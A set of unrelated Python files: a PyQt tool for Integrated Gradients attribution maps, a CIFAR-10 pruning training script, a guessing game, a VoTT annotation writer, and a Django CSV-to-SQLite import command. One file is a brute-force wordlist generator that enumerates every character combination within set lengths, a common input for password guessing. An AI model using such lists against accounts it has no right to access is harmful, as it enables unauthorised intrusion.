            self.prefix=self.networkName+'_class_rel_map'
            self.resolveDirectory(self.prefix)
        elif info=='Ablation Statistics':
            print("heloo")
            self.prefix='output_imgs/'+self.networkName
            self.resolveDirectory(self.prefix)

    def changeViznetowrk(self,netowrk):
        ''' Selects between the different Network'''
        if netowrk =='alexnet':
            self.chooseInfo.setEnabled(True)
            self.networkName=netowrk
        elif netowrk=='vgg11':
            self.chooseInfo.setEnabled(True)
            self.networkName=netowrk
        elif netowrk =='resnet18':
            self.chooseInfo.setEnabled(True)
            self.networkName=netowrk
        else:
            print ("Wrong Netowrk Selected")

class NetAttribute(QWidget):
    def __init__ (self):
        super(NetAttribute, self).__init__()

        self.setWindowTitle("Network Attribution (Integrated Gradient)")
        self.y=40
        self.x=300
        self.width =1100
        self.height = 790
        self.setGeometry(self.x,self.y,self.width,self.height)
        self.NetAttribute_window()
        self.util=Utility()

    def NetAttribute_window(self):
        self.Netatt_layout = QVBoxLayout()

        #Create Combo box(Network Selection)
        self.label1=QLabel("Select Netwrok")
        self.chooseNetwork = QComboBox()
        self.chooseNetwork.addItem('')
        self.chooseNetwork.addItem('Alexnet')
        self.chooseNetwork.addItem('VGG')
        self.chooseNetwork.addItem('ResNet')
        self.chooseNetwork.activated[str].connect(self.changeNetowrk)

        #image place holder &  labels
        self.images_layout = QGridLayout()
        self.imageCanvas_original=QLabel()
        self.imageCanvas_all=QLabel()
        self.imageCanvas_abs=QLabel()
        self.imageCanvas_overlay=QLabel()

        self.images_layout.addWidget(self.imageCanvas_original,1,0)
        l1=QLabel('Original Image')
        l1.setAlignment(Qt.AlignCenter)
        self.images_layout.addWidget(l1,2,0)
        self.images_layout.addWidget(self.imageCanvas_all,1,1)
        l2=QLabel('IG Map with Negative & Positive Gradient')
        l2.setAlignment(Qt.AlignCenter)
        self.images_layout.addWidget(l2,2,1)
        self.images_layout.addWidget(self.imageCanvas_abs,3,0)
        l3=QLabel('IG Map with Absolute Values of Gradient')
        l3.setAlignment(Qt.AlignCenter)
        self.images_layout.addWidget(l3,4,0)
        self.images_layout.addWidget(self.imageCanvas_overlay,3,1)
        l4=QLabel('IG Map Overlay on Original Image')
        l4.setAlignment(Qt.AlignCenter)
        self.images_layout.addWidget(l4,4,1)

        #put black temoprary template on image place holder
        template= QPixmap('gui_resources/black.jpg')
        self.plotQlabelImage(template,self.imageCanvas_original)
        self.plotQlabelImage(template,self.imageCanvas_abs)
        self.plotQlabelImage(template,self.imageCanvas_all)
        self.plotQlabelImage(template,self.imageCanvas_overlay)

        ## Browse Image File
        self.get_button=QPushButton("Browse Image")
        self.get_button.clicked.connect(self.getImage)
        self.get_button.setEnabled(False)

        # Steps for IG
        self.inputSteps = QLineEdit()
        self.inputSteps.setEnabled(False)
        self.inputSteps.textChanged.connect(self.setSteps)

        # Generate IG
        self.ig_button=QPushButton("Show IG")
        self.ig_button.clicked.connect(self.generateIG)
        self.ig_button.setEnabled(False)

        #go back to main window
        self.back_mainWindow=QPushButton("Back to Main Menu")
        self.back_mainWindow.clicked.connect(self.showMainWindow)

        ## Add to the Layout

        self.Netatt_layout.addWidget(self.label1)
        self.Netatt_layout.addWidget(self.chooseNetwork)
        self.Netatt_layout.addWidget(QLabel("Number of Steps of IG"))
        self.Netatt_layout.addWidget(self.inputSteps)
        self.Netatt_layout.addWidget(self.get_button)
        self.Netatt_layout.addWidget(self.ig_button)
        self.Netatt_layout.addLayout(self.images_layout)
        self.Netatt_layout.addWidget(self.back_mainWindow)
        self.setLayout(self.Netatt_layout)
        self.show()

    def generateIG(self):
        self.getAttribution()
        self.showImage()

    def getAttribution(self):

        _, preds = torch.max(self.model(self.x),dim=1)

        #Initiate layer IG object
        self.attributor=IntegratedGradients(self.model)

        # get the IG map
        attribution=self.attributor.attribute(self.x,target=preds,n_steps=int(self.IG_steps))
        self.attribution=np.transpose(attribution.squeeze(0).cpu().detach().numpy(), (1, 2, 0))

    def showImage(self):
        modes=["absolute_value","all"]
        for i in range(len(modes)):
            fig,_ = vizu.visualize_image_attr(self.attribution,sign=modes[i],
                                show_colorbar=True, title="Integrated Gradient",use_pyplot=False)
            fig.savefig('gui_resources/temp/'+str(i)+'.jpg')

        input_img=np.transpose(self.x.squeeze(0).cpu().detach().numpy(), (1, 2, 0))
        fig1,_ = vizu.visualize_image_attr(self.attribution,input_img,sign="absolute_value", method="blended_heat_map",use_pyplot=False,
                                show_colorbar=False, title="Integrated Gradient Overlayed on Input")
        fig1.savefig('gui_resources/temp/overlay.jpg')

        self.plotQlabelImage(QPixmap('gui_resources/temp/0.jpg'),self.imageCanvas_abs)
        self.plotQlabelImage(QPixmap('gui_resources/temp/1.jpg'),self.imageCanvas_all)
        self.plotQlabelImage(QPixmap('gui_resources/temp/overlay.jpg'),self.imageCanvas_overlay)

    def getImage(self):
      self.fname,_ = QFileDialog.getOpenFileName(self, 'Open file',
         'c:\\',"Image files (*.jpg *.gif *.png *.jpeg *.JPEG)")
      self.x=self.util.load_single_image(self.fname,False)

      if self.x != None:
        pixmap = QPixmap(self.fname)
        self.plotQlabelImage(pixmap,self.imageCanvas_original)
        self.ig_button.setEnabled(True)

    def setSteps(self,value):
        self.IG_steps=value
        print(self.IG_steps)
        self.get_button.setEnabled(True)

    def changeNetowrk(self,netowrk):
        ''' Selects between the different Network'''
        if netowrk =='Alexnet':
            self.inputSteps.setEnabled(True)
            self.model= models.alexnet(pretrained=True)
        elif netowrk=='VGG':
            self.inputSteps.setEnabled(True)
            self.model = models.vgg11(pretrained=True)

        elif netowrk =='ResNet':
            self.inputSteps.setEnabled(True)
            self.model = models.resnet18(pretrained=True)
        else:
            print ("Wrong Netowrk Selected")

    def plotQlabelImage(self,pixmap,imageCanvas):
        pixmap = pixmap.scaled(400, 360)
        imageCanvas.setMaximumHeight(pixmap.height())
        imageCanvas.setMaximumWidth(pixmap.width())
        imageCanvas.setPixmap(pixmap)
        imageCanvas.setAlignment(Qt.AlignCenter)

    def showMainWindow(self):
        self.mainwindow = MainWindow()
        self.hide()
        self.mainwindow.show()

class MainWindow(QWidget):
    def __init__(self):
        super(MainWindow, self).__init__()

        self.setWindowTitle("Main Window")
        self.y=200
        self.x=500
        self.width = 500
        self.height = 500
        self.setGeometry(self.x,self.y,self.width,self.height)
        self.start_window()

    def start_window(self):

        self.start_layout = QGridLayout()
        self.stat_button = QPushButton("Network Statistics")
        self.attr_button = QPushButton("Network Attribution")
        self.start_layout.addWidget(self.stat_button, 2, 0, 1, 0)
        self.start_layout.addWidget(self.attr_button, 3, 0, 1, 0)

        self.stat_button.clicked.connect(self.goto_netStat)
        self.attr_button.clicked.connect(self.goto_netAttribute)

        self.setLayout(self.start_layout)
        self.show()

    def goto_netStat(self):
        self.NetStat = NetStat()
        self.NetStat.show()
        self.close()

    def goto_netAttribute(self):
        self.NetAtt = NetAttribute()
        self.NetAtt.show()
        self.close()

if __name__ == '__main__':
    app = QApplication([])
    signup = MainWindow()
    app.exec_()


import torch
import torch.nn as nn
import torchvision.datasets as datasets
import torchvision.transforms as transforms

from pruning.methods import weight_prune
from pruning.utils import to_var, train, test, prune_rate
from MLP_CNN import ConvNet
from vgg import modified_vgg16_bn

# Hyper Parameters
param = {
    'pruning_perc': 90.,
    'batch_size': 128,
    'test_batch_size': 100,
    'num_epochs': 300,
    'learning_rate': 0.05,
    'weight_decay': 5e-4,
    'momentum':0.9,
}

# Data loaders
# train_dataset = datasets.CIFAR10(root='../data/',train=True, download=True,
#     transform=transforms.ToTensor())
# loader_train = torch.utils.data.DataLoader(train_dataset,
#     batch_size=param['batch_size'], shuffle=True)
#
# test_dataset = datasets.CIFAR10(root='../data/', train=False, download=True,
#     transform=transforms.ToTensor())
# loader_test = torch.utils.data.DataLoader(test_dataset,
#     batch_size=param['test_batch_size'], shuffle=True)

normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                     std=[0.229, 0.224, 0.225])

loader_train =  torch.utils.data.DataLoader(
        datasets.CIFAR10(root='../data', train=True, transform=transforms.Compose([
            transforms.RandomHorizontalFlip(),
            transforms.RandomCrop(32, 4),
            transforms.ToTensor(),
            normalize,
        ]), download=True),
        batch_size=128, shuffle=True, pin_memory=True)

loader_test = torch.utils.data.DataLoader(
        datasets.CIFAR10(root='../data', train=False, transform=transforms.Compose([
            transforms.ToTensor(),
            normalize,
        ])),
        batch_size=128, shuffle=False, pin_memory=True)

# Load the pretrained model
net = modified_vgg16_bn()

if torch.cuda.is_available():
    print('CUDA ensabled.')
    net.cuda()
print("--- Pretrained network loaded ---")

criterion = nn.CrossEntropyLoss()
# optimizer = torch.optim.RMSprop(net.parameters(), lr=param['learning_rate'],
#                                 weight_decay=param['weight_decay'])
optimizer = torch.optim.SGD(net.parameters(), param['learning_rate'],
                                momentum=param['momentum'],
                                weight_decay=param['weight_decay'])

def test(model, loader):
    model.eval()

    num_correct, num_samples = 0, len(loader.dataset)
    for x, y in loader:
        x_var = to_var(x, volatile=True)
        scores = model(x_var)
        _, preds = scores.data.cpu().max(1)
        num_correct += (preds == y).sum()

    acc = float(num_correct) / num_samples

    print('Test accuracy: {:.2f}% ({}/{})'.format(
        100. * acc,
        num_correct,
        num_samples,
    ))

    return acc

def gen_mask(model, loss_fn, optimizer, param, loader_train, loader_test, ratio, k=3, loader_val=None):
    test(model, loader_test)

    model.train()
    count = 0;
    ratio_ind = 0
    for epoch in range(param['num_epochs']):
        model.train()

        print('Starting epoch %d / %d' % (epoch + 1, param['num_epochs']))
        for t, (x, y) in enumerate(loader_train):
            x_var, y_var = to_var(x), to_var(y.long())

            scores = model(x_var)
            loss = loss_fn(scores, y_var)

            if (t + 1) % 100 == 0:
                print('t = %d, loss = %.8f' % (t + 1, loss.item()))

            optimizer.zero_grad()
            loss.backward()

            model.update_grad()

            optimizer.step()
            # print(epoch,t)
            # test(model, loader_test)

        if (epoch + 1) % k == 0 and ratio_ind<len(ratio):
            print(' pruning some filters which are in convolution layes , pruning ratio:%.3f' % ratio[ratio_ind])
            if ratio_ind==0:
                model.com_mask2(ratio[ratio_ind],0)
            else:
                model.com_mask2(ratio[ratio_ind], ratio[ratio_ind-1])
            model.set_masks(model.mask)

            model.zero_accmgrad()
            ratio_ind+=1

        else:
            model.set_masks(model.mask)
        prune_rate(model)

        print('modify learning rate')
        lr = param['learning_rate'] * (0.5 ** ((epoch - k * len(ratio)) // 30))
        # lr = param['learning_rate'] * (0.5 ** ((epoch - 1) // 30))
        for param_group in optimizer.param_groups:
            param_group['lr'] = lr

        print('epoch',epoch)
        test(model, loader_test)
        count+=1

    #model.rand_ratio_gn_mask(ratio)

import time
start = time.time()

# ratio_list =[10.0, 20.0, 30.0, 35.5]
# ratio_list =[5.0, 10.0, 15.0, 20.0, 25.0, 30.0, 35.0, 40.0, 45.0, 50.0, 55.0, 60.0]
# ratio_list =[10.0, 20.0,30.0, 40.0,  50.0, 60.0]
ratio_list =[0.0]

# ratio_list = [80.0, 90.0]
gen_mask(net, criterion, optimizer, param, loader_train, loader_test,  ratio_list, 5)

# print('............')
#
#
# # Retraining
# criterion = nn.CrossEntropyLoss()
# optimizer = torch.optim.RMSprop(net.parameters(), lr=param['learning_rate'],
#                                 weight_decay=param['weight_decay'])
#
# train(net, criterion, optimizer, param, loader_train, loader_test)
#

end = time.time()

print(end-start)

prune_rate(net)

torch.save(net.state_dict(), 'models/conv_pruned_60%.pkl')


import random
tentativas = 0
numero = random.randint(1, 9)
while True:
    print('press 0 to exit')
    num = int(input('digite um número: '))
    if num == 0:
        break
    elif num == numero:
        print('\n'*50)
        print('acertouuuuu')
        print(f'você tentou {tentativas}x')
        numero = random.randint(1, 9)
    elif num > numero:
        print(f'{num} é maior que o número sorteado')
        tentativas += 1
    else:
        print(f'{num} é menor que o número sorteado')
        tentativas += 1


filenameinput = ""
filenameinput = input('''
Please enter the file name: ''')

f=open(filenameinput, 'w')

def xselections(items, n):
    if n==0: yield []
    else:
        for i in range(len(items)):
            for ss in xselections(items, n-1):
                yield [items[i]]+ss

# Numbers = 48 - 57
# Capital = 65 - 90
# Lower = 97 - 122
numb = range(48,58)
cap = range(65,91)
low = range(97,123)
choice = 0
while int(choice) not in range(1,8):
    choice = input('''
    1) Numbers
    2) Capital Letters
    3) Lowercase Letters
    4) Numbers + Capital Letters
    5) Numbers + Lowercase Letters
    6) Numbers + Capital Letters + Lowercase Letters
    7) Capital Letters + Lowercase Letters
    : ''')

choice = int(choice)
poss = []
if choice == 1:
    poss += numb
elif choice == 2:
    poss += cap
elif choice == 3:
    poss += low
elif choice == 4:
    poss += numb
    poss += cap
elif choice == 5:
    poss += numb
    poss += low
elif choice == 6:
    poss += numb
    poss += cap
    poss += low
elif choice == 7:
    poss += cap
    poss += low

bigList = []
for i in poss:
    bigList.append(str(chr(i)))

MIN = input("What is the min size of the word? ")
MIN = int(MIN)
MAX = input("What is the max size of the word? ")
MAX = int(MAX)
for i in range(MIN,MAX+1):
    for s in xselections(bigList,i): f.write(''.join(s) + '\n')


import os, shutil
import json
import hashlib
# pip install shortuuid
import shortuuid
import enum
import log as PYM

class BBOX_ITEM(enum.Enum):
    height = 0
    width = 1
    left = 2
    top = 3

class POINT_ITEM(enum.Enum):
    x2 = 0
    y2 = 1

class write_vott_id_json():
# private

    __asset_id = ""
    __asset_format = ""
    __asset_path = ""

    __parent_id = ""
    __parent_name = ""
    __parent_path = ""

    __video_size = [3840, 2160]
    __timestamp = 0

    __regions_id = ""
    __tags = ""
    __boundingBox = [0,0,0,0]
    __points = [0,0,0,0]

    def __save_asset_id(self, sid):
        self.__asset_id = sid

    def __save_regions_id(self, rid):
        self.__regions_id = rid

    def __create_asset_id_via_md5(self, path):
        m = hashlib.md5()
        m.update(path.encode("utf-8"))
        h = m.hexdigest()
        self.pym.PY_LOG(False, 'D', self.__class__, 'via md5 to create asset_id: %s' % h)
        self.__save_asset_id(h)

    def __create_shorid_for_regions_id(self):
        sid = shortuuid.uuid()
        sid = sid[:9]
        self.__save_regions_id(sid)

# public
    def __init__(self, target_path):
        # below(True) = exports log.txt
        self.pym = PYM.LOG(True)
        self.target_path = ""
        if os.path.exists(target_path):
            self.__target_path = target_path
            self.pym.PY_LOG(False, 'D', self.__class__, 'traget_path: %s is existed' % target_path)
        else:
            self.pym.PY_LOG(False, 'E', self.__class__, 'traget_path: %s is not existed!!' % target_path)

    #del __del__(self):
        #deconstructor

    def create_id_json_file(self, json_file_path):
        try:
            self.__create_shorid_for_regions_id()
            new_json_file_path = self.__target_path + self.__asset_id + '-asset.json'
            self.pym.PY_LOG(False, 'D', self.__class__, 'new json file_path: %s' % new_json_file_path)
            shutil.copyfile(json_file_path, new_json_file_path);
            # open and modify content
            with open( new_json_file_path, 'r+') as f:
                data = json.load(f)
                data['asset']['id'] = self.__asset_id
                data['asset']['format'] = self.__asset_format
                data['asset']['name'] = self.__asset_name
                data['asset']['path'] = self.__asset_path

                #data['asset']['parent']['id'] = self.__parent_id
                #data['asset']['parent']['name'] = self.__parent_name
                #data['asset']['parent']['path'] = self.__parent_path

                data['asset']['timestamp'] = self.__timestamp
                data['regions'][0]['id'] = self.__regions_id
                data['regions'][0]['tags'][0] = self.__tags
                data['regions'][0]['boundingBox']["height"] = self.__boundingBox[0]
                data['regions'][0]['boundingBox']["width"] = self.__boundingBox[1]
                data['regions'][0]['boundingBox']["left"] = self.__boundingBox[2]
                data['regions'][0]['boundingBox']["top"] = self.__boundingBox[3]

                data['regions'][0]['points'][0]["x"] = self.__boundingBox[2]
                data['regions'][0]['points'][0]["y"] = self.__boundingBox[3]

                data['regions'][0]['points'][1]["x"] = self.__points[0]
                data['regions'][0]['points'][1]["y"] = self.__boundingBox[3]

                data['regions'][0]['points'][2]["x"] = self.__points[0]
                data['regions'][0]['points'][2]["y"] = self.__points[1]

                data['regions'][0]['points'][3]["x"] = self.__boundingBox[2]
                data['regions'][0]['points'][3]["y"] = self.__points[1]

                f.close()
            os.remove(new_json_file_path)

            # save modified content
            with open( new_json_file_path, 'w') as f:
                json.dump(data, f, indent = 4)
                f.close()
        except:
            self.pym.PY_LOG(False, 'E', self.__class__, 'write VoTT id json file failed!!')

    def save_asset_format(self, sformat):
        self.__asset_format = sformat

    def save_asset_name(self, sname):
        self.__asset_name = sname

    def save_asset_path(self, spath):
        self.__asset_path = spath
        self.__create_asset_id_via_md5(self.__asset_path)

    def save_parent_id(self, pid):
        self.__parent_id = pid

    def save_parent_name(self, pname):
        self.__parent_name = pname

    def save_parent_path(self, ppath):
        self.__parent_path = ppath

    def save_video_size(self, size):
        self.__video_size = size

    def save_timestamp(self, timestamp):
        self.__timestamp = timestamp

    def save_tags(self, tags):
        self.__tags = tags

    def save_boundingBox(self, BX):

        self.__boundingBox[BBOX_ITEM.height.value] = BX[BBOX_ITEM.height.value]  #height
        self.__boundingBox[BBOX_ITEM.width.value] = BX[BBOX_ITEM.width.value]  #width
        self.__boundingBox[BBOX_ITEM.left.value] = BX[BBOX_ITEM.left.value]  #left
        self.__boundingBox[BBOX_ITEM.top.value] = BX[BBOX_ITEM.top.value]  #top

    def save_points(self, PT):
        # POINT x1 = left
        # POINT y1 = top
        self.__points[POINT_ITEM.x2.value] = PT[POINT_ITEM.x2.value]  #x2
        self.__points[POINT_ITEM.y2.value] = PT[POINT_ITEM.y2.value]  #y2

    def shut_down_log(self, msg):
         self.pym.PY_LOG(True, 'D', self.__class__, msg)


from django.core.management.base import BaseCommand
import csv
import sqlite3
import os

class Command(BaseCommand):
    help = 'Import data from csv files in DataBase'

    def handle(self, *args, **kwargs):
        con = sqlite3.connect('db.sqlite3')
        cur = con.cursor()
        os.chdir("static/data")
        with open('comments.csv', 'r', encoding="utf-8", newline="") as fin:
            get_column_names=con.execute("SELECT * FROM reviews_comment")
            col_name=[i[0] for i in get_column_names.description]
            print(col_name)

            r = csv.reader(fin, delimiter=",")
            dr = csv.DictReader(fin, delimiter=",")
            count = 0
            #new_list = [0, 2, 4, 3, 1]
            new_list = []
            # 0, 4, 1, 3, 2
            l = []
            ttt = []
            long = 0
            for j in r:
                if count !=0:
                    c=0
                    # print(len(j))
                    for k in j:
                        #print(new_list[c])
                       # print(j[new_list[c]])
                        ttt.append(j[new_list[c]])
                        c =c + 1
                    t = tuple(ttt)
                    ttt = []
                    print(t)
                    # t = tuple(j)
                    l.append(t)
                else:
                    print(j)
                    long = len(j)
                    d = dict()
                    i = 0
                    long_c = long
                    while(i <= long_c):
                        if i<5:
                            dd = j[i]
                            if i==3:
                                dd = dd + '_id'
                            d[dd] = i
                        i = i + 1
                    for g in col_name:
                        new_list.append(d.get(g))
                    print(new_list)
                count = count +1
            # print(l)
        q = '?'
        # print(f'count_: {count}, long_: {long}')
        # print(os.getcwd())
        # os.chdir("../..")
        # print(os.getcwd())
        # os.system('python manage.py what_time_is_it')
        i = 1
        while(i < long):
            i = i + 1
            q = q + ', ?'
        print(f'&_: {q}')
        name_table_db = 'reviews_comment'
        str = f"INSERT INTO {name_table_db} VALUES ({q});"
        # print(f'str_: {str}')
        # cur.executemany("INSERT INTO reviews_category VALUES (?, ?, ?);", to_db)
        cur.executemany(str, l)
        # cur.executemany("INSERT INTO reviews_category (id, name, slug) VALUES (?, ?, ?);", to_db)
        con.commit()
        con.close()